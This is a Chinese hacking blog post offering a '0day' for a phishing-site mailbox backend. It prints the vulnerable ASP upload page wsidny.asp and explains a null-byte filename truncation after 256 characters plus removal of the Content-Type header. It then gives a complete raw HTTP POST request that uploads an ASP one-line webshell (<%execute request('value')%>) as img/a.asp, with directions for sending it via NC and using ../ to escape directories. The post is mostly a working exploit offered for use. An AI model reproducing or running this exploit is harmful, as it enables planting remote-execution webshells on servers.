当前位置:首页 > 技术文章 > 正文内容

花马收信箱子Getshell 0day

lcy2009-10-30技术文章1381

By:rubbish
特征:login.asp能看到版权,不过有些箱子把这个地址改求了.另外主目录下存在一个wsidny.asp
整套程序过滤什么的灰常的严密,看得出来是专业的安全人士写的,唯一可以利用的地方就在这个wsidny.asp
看代码:
<!-- #include file="conn.asp"-->
<%
    Server.ScriptTimeout = 36000
   PostSize = Request.TotalBytes
if postsize=0 then
response.End()
end if
    BytesRead = 0       
     ReadSize=256
     HeadSize=256
     filename = Request.BinaryRead(ReadSize)
     BytesRead = BytesRead + ReadSize       
    PostData = Request.BinaryRead(PostSize - BytesRead)
    StoreFile(filename)
Function Bytes2bStr(vin)
if lenb(vin) =0 then
        Bytes2bStr = ""
        exit function
end if
 Dim BytesStream,StringReturn
 set BytesStream = Server.CreateObject("ADODB.Stream")
 BytesStream.Type = 2
 BytesStream.Open
 BytesStream.WriteText vin
 BytesStream.Position = 0
 BytesStream.Charset = "gb2312"
 BytesStream.Position = 2
 StringReturn = BytesStream.ReadText
 BytesStream.close
 set BytesStream = Nothing
 Bytes2bStr = StringReturn
End Function
Function StoreFile(filename)
filea=Bytes2bStr(filename)
filea=LCase(filea)
if instr(filea,".")>0 then
fileb=split(filea,".")
num2=ubound(fileb)
if instr("jpg|gif|jpeg|png|bmp",fileb(num2))>0 then
filea=filea
else
filea=filea&".gif"
end if
else
filea=filea&".gif"
end if
Path=server.MapPath(imgFolder&filea)
Set oFileStream = CreateObject ("ADODB.Stream")
  oFileStream.Type = 1
  oFileStream.Mode = 3
  oFileStream.Open
    oFileStream.Write(PostData)
  oFileStream.SaveToFile Path,2
  oFileStream.Close
  Set oFileStream = Nothing
End Function
    Response.Write PostSize
    Response.Write " bytes were read."       
%>没搞懂这个页面是用来干什么的,可能是生成图片破密保的吧.一开始是想本地构造表单直接提交,上传带;的图片马,结果因为是Request.BinaryRead取的数据,所以urlencode过的参数都取不出来.改用vbs发包.这里又有个问题,因为路径是取的前256个字符,超过了后面server.MapPath所支持的最大长度,于是想到了用\00截断,把vbs发送的http请求抓出来,用ue写截断,然后提交,去掉包含文件测试成功.但是带包含的时候还报错.因为前面的conn.asp包含了一个fsql.asp防注页面,检查了request.form,调用了request.form之后就不能再调用Request.BinaryRead了否则会报错.那这个页面的意义何在?
在这里纠结了好久,试着去掉http头里的Content-Type: application/x-www-form-urlencoded,提交,发现竟然上传成功鸟,这才发现自己以前一直SB了.去掉这一个头,iis就会认为没有用表单格式提交的参数,这样用request.form就不会收到任何数据,也就不会跟后面的Request.BinaryRead冲突了
下面发利用方法:
POST /DNFZONX/wsidny.asp HTTP/1.1
Accept-Language: zh-cn
Content-Length: 284
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-silverlight, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: xxx.fuck.com
Connection: Keep-Alive
a.asp aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<%execute request("value")%>
一句话代码前面要构造到256个字符,然后在ue里面把空格用\00代替,改下主机头啥的,NC提交,看到返回xxx bytes were read.的话,就成功了,目标文件夹下img/a.asp就是了,如果图片目录找不到或者不可执行啥的,可以用../什么的跳出来就好了,只要保证一句话前面刚好有256个字符就是了
本地测试成功.
 


 


 

 

版权声明:本文由cy's Blog发布,如需转载请注明出处。

本文链接:http://www.c3389.com/post/79.html

相关文章

2003 禁Ping

STEP1:添加IP筛选器和筛选器操作  依次单击[开始]→[管理工具]→[本地安全策略],打开“本地安全设置”对话框。右击该对话框左侧控制台树的[IP安全...

嘉缘人才系统漏洞

转自:http://hi.baidu.com/crazyyxb程序介绍:FineReasonHRCMS(嘉缘人才系统),是上海嘉挚网络科技发展有限公司于2004年推出的一款基于ASP+MSSQL开发的...

沸腾新闻系统v0.45拿SHELL

沸腾新闻系统v0.45拿SHELL

作者:st0p转载请注明出处:http://www.st0p.org注:已提醒目标站管理员补洞.看到群里的無材发来一站,打开看了一下,很像是沸腾新闻系统,不过版本写的是V0.1,网上没找到相应的版本,...

解决网页被script挂马的办法

现在挂网马的方式改变了,现在流行挂<script>木马,汗了,看了几个网友的网站都被这样了——页面的顶部或底部加上了: 注意,以下地址含有木马,请不要轻易访问:&l...

四方案全面保护视频文件安全

DV越来越普及,个人可以轻松的拍摄属于自己的视频。对于拍摄的视频,我们可以与网友一起分享。但是现在各种修改技术又非常普及,总有一些网友“恶搞”,对别人的视频进行改头换面,改变了...

注册表禁止某进程运行方法

echo Windows Registry Editor Version 5.00 >>1.regecho [HKEY_CURRENT_USER\Software\Microsoft\Wi...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。